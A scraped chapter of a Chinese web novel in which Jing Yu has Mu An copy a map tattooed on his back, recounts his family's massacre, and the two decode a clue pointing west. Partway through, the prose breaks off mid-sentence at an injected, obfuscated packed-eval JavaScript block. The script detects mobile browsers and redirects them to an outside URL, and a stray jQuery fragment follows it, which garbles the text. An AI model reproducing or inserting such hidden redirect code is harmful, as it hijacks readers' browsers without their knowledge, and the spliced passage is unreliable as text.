42. 绘心
作品:《亡国后的第十六年》 景玉下了楼,径直走到柜台前,取出几枚银钱放在桌上,语气淡淡:“再开一间房。”
如今他们花的本就都是他的银子,若是连个安稳的住处都舍不得给自己,未免也太过委屈。
店老板见他神色寡淡,抬眼瞥了他一眼,倒也没多问,收了钱便吩咐伙计去整理房间。
独自回了房,景玉卸下外袍,靠在床上,白日里遇刺的伤口却又折磨着他久久不能入睡。
景玉独自一人躺在床上辗转反侧,竟渐渐升起一股悲凉之感。
十年筹谋,一朝尽空。他原以为自己已心如死灰,余生所求唯有复国,再无其他牵绊,可偏偏死寂的心竟又慢慢生出了温度,莫非真是他执念太重?
他将手按在伤口上,微微施力,身体的上的剧痛赶走了他那些伤春悲秋的心思。
轻吐一口气,景玉索性起身,将蜡烛吹灭,闭目强迫自己入眠。
不知过了多久,景玉从梦中苏醒,睡意渐渐从身体中流逝。他睁开眼,已经想不清刚刚梦见了什么,眼前却浮现起穆安的身影。
他睁开眼,翻了个身,眉心微蹙。
按照他最开始的计划,皇帝死后,宣玖便该登基,成为召国幼帝。他会与太后联手,借穆安“新帝亲姨娘”之名,扳倒贵妃这个名义上的养母。
人人皆说重瞳乃帝王之相,可为何这天命偏偏不能应验?他筹谋多年,步步为营,费尽心机抓住这枚棋子,为何最终仍是功亏一篑?
烦闷之情郁结于心,景玉索性起身开窗。
秋夜寒凉,冷风携着隐隐的草木清香拂面而来,一年前正是这个时候,穆安第一次踏足召国后宫,他以一根金钗引她入局。
当初是他为穆安引路,如今穆安却要赶他走。
他盯着窗外夜色良久,手却不自觉摸向桌上摆放的匕首,指尖缓缓拂过锋利的刃口,竟鬼使神差地将其拾起,在心口处比划了两下。
若是此刻他身受重伤,便再无力随窦怀他们南下……
这个念头一闪而过,景玉骤然一僵,随即猛地皱紧眉头,被自己的想法惊了一跳。
他握紧匕首,片刻后,忽然甩手将其丢回桌上,刀刃撞击木面的闷响在寂静的夜里格外清晰。
可就在这时,胸腔陡然一紧,他只觉一股腥甜涌上喉间,低咳了一声,随即呕出一口鲜血。
温热的血液滴落在地板上,触目惊心。
景玉心头一沉,连忙撩起袖子,看向小臂上的那条黑线,竟比之前更近了半寸。
自幼习武,师父曾告诫他,修行不可急进,而他当年所寻的偏方,本就是在透支寿数。
竟然如此。景玉苦笑一声,他想要的从来没有得到过,可争是一定要争一争的。
景玉寻来了烛台,趁着夜色起身去了隔壁房。
他并未敲门,而是轻手轻脚地打开门栓,步履无声地走了进去。屋内漆黑一片,只有隐约的呼吸声此起彼伏。
景玉走到床榻前,蹲下身,伸手推了推榻上熟睡的人。
穆安迷迷糊糊地睁开眼,朦胧的视线里,景玉手持烛台立在一侧,烛火微晃,映得他眉目深邃,唯有下巴处的一抹暗色分外醒目,宛若沾染血迹,形如鬼魅。
她皱了皱眉,带着一丝倦意低喃:“阁下是人是鬼?”
景玉失笑,语气轻缓,“自然是人。”
“是人为何还不入眠?”
景玉被她的疑问逗笑了,语带戏谑,“你随我来。”
穆安叹了口气,扶着额头坐起,小心翼翼绕过熟睡的穆锦和宣珑,赤足落地,随着景玉走向隔壁房间。
“怎么了?”穆安直觉景玉有点不对劲。
景玉卸下外袍丢在地上,示意穆安站在去。
穆安犹豫了一瞬,抬脚踩在软布上,隔绝了地板上传来的寒意。
景玉道:“索戈族的栖身之处绘在晟国国寺的壁画上,穆钰曾经凭着记忆将此画画下,如今这画被我纹在背上。”
穆安静静听着他诉说这个秘密。
“我想请你照着这图案,将画再画下。”景玉解开内裳,露出赤裸的脊背。
穆安手里握着烛台,微弱的火光映照在景玉的背上,将那道狰狞的疤痕勾勒得愈发清晰。那伤痕沿着脊背蜿蜒而下,仿佛一条盘踞的蜈蚣。再细看下去,一副图样依着疤痕而生。
除此之外,他的身上还有这些日子添的新伤旧痕,纵横交错,触目惊心。
见穆安沉默着,景玉问:“你怎么不问那道疤是如何来的?”
“你总是这样老谋深算、步步为营,我已经习惯了不去问了。”
景玉似笑非笑地转过头,“原来我在你心里就是这般啊?”
穆安不置可否的耸耸肩。
烛光下,穆安取来纸笔,铺在桌上,沾了墨,蘸了水,照着景玉背上的纹路慢慢描摹。她的手稳稳落下,笔锋游走,随着光影晃动,一副图案渐渐成形。
景玉光着上半身,撑直了身子,任由她动作。
“那年我七岁。”他的声音轻得像是要融入夜色,“父亲刺杀召国失败,秦家被灭族。”
穆安听着,手下的笔尖顿了顿,又继续描摹。
“母亲让我逃,可是城门口全是军队,哪有什么逃路?”景玉低低笑了一声,“可我想活,于是哄骗着管家有些痴傻的小儿子和我换了衣服。”
他顿了顿,嗓音低沉,“一个士兵冲过来,我亲眼见到穿着我衣服的管家儿子身首异处,随后刀砍在我背上。”
景玉缓缓呼出一口气,仿佛是在驱散脑海中残存的疼痛,“我摔倒在血泊里,身下是哥哥的尸体,身上是滚烫的鲜血。我不敢动,不敢呼吸,连眼睛都不敢眨一下,只有血一直流,流到我快要失去知觉。”
景玉微微勾起嘴角,笑得有些冷,“我躺在乱葬岗里,吃了几天死人肉,就这样活了下来。”
穆安闻言手上一抖,放下笔,轻轻吹干墨迹。她抬眼看他,见他神色淡然,仿佛是在讲一个与自己无关的故事,可她分明看见了他手指轻微收紧,骨节泛白。
穆安叹息般地低声道:“你当时一定很疼。”
景玉收敛了笑意,嗓音微哑:“疼,但更冷。”
画画好了,穆安细细看着纸上的图样,画的是格也兹治水救人最后得道成仙的故事。
相传格也兹出身世家,后来国家被灭后出家为僧。某日故国的反抗军炸毁了河堤,斩断了敌国的粮草线也导致百姓受水灾之害,格也兹散尽家财出山救人。
画上河道蜿蜒曲折,向南又向
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15229414|162433||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
西,不知要去往何处。
“可看出什么了?”景玉见她愣神。
“聪明如景玉和长姐,也没看出什么吗?”穆安反问。
景玉一挑眉,慢慢穿好衣服。
穆安低声道:“格也兹的官话发音在索戈族语言中有秋天的意思。”
景玉微微一愣,他不知道这一点。
“你不曾细看过兵符。两块索戈兵符合二为一后,虎背上可见北斗七星图案。”
“斗柄西指,天下皆秋。”穆安道。
景玉若有所思,“你的意思是方向应在西?”
他随即又摇摇头,“周文合将军曾沿南方一路寻找,却未曾发现任何踪迹。疆域辽阔,单凭一个‘西’字,恐怕难以寻得。”
穆安又看向那画,低声道:“传说中,格也兹治水时曾筑过三座大坝,如今虽不见遗迹,但旧地理志中或许能找到记载。”
“本是传说,怕是难寻踪迹。”景玉微微蹙眉。
穆安沉吟片刻,忽然伸手将图纸调转方向,使河流下游直指西方,缓缓道:“北斗第三星,名为天玑。天玑,亦可作’天机’。若整条河流便是一幅北斗七星图……”
她目光锁定在某处,指尖轻轻落下,声音低沉而笃定:“第三星的位置,应当在这里。”
景玉沉默了片刻,缓缓道:“此番推测有理,那索戈族的栖身之地,便可能就在这里。”
“等明日让窦怀哥寻一幅疆域图来比对一下,应该就差不离了。”穆安打了个哈欠,“机密已破,我也告辞。”
“等等。”景玉叫住她。
“我今日说不想与窦怀他们同去……”景玉的眸光低垂。
不等他再说,穆安回身朝他一笑,“那景玉可愿随我回京?”
景玉微愣,他原本准备了一堆说辞,要如何让自己留在她身边,要如何说服她自己比窦怀更值得信任……可穆安只是一句轻飘飘的话,就将他的所有心思拆解得干干净净。
景玉低垂的眼眸微微一动,唇角勾起一抹不易察觉的弧度,“既然你都开口了,我怎能不愿?”
穆安轻轻挑眉,半真半假地打趣道:“那岂不是亏了?我本想听听你怎么说服我呢。”
景玉轻笑了一声,忽然近一步,低声道:“那我如今可还有机会补上?”
穆安微微一怔,随即偏过头,似笑非笑地睨了他一眼,语气带了几分揶揄,“晚了。”
话至此处,穆安转身,正欲离去。
“穆安……”身后,景玉忽然唤住了她的名字。
她脚步微顿,侧身回望,“怎么?”
“我……”
景玉张了张嘴,似是有话要说,却迟迟未能出口。
穆安静静地看着他,等了片刻,见他仍旧迟疑不语,便微微挑眉,似笑非笑道:“怎么,悔了?”
景玉轻轻吸了口气,终于低声道:“我……从前是我欺你,瞒你,以后不会了。”
夜色寂静,烛火微晃,他的声音低沉而郑重,默默许下了某种不容更改的承诺。
穆安望着他,似笑非笑地道:“这话……我记下了。”
从前景玉跪在她面前歃血立誓她觉得对方总能找到毁约的借口,如今景玉不过是轻飘飘一句话她却信了。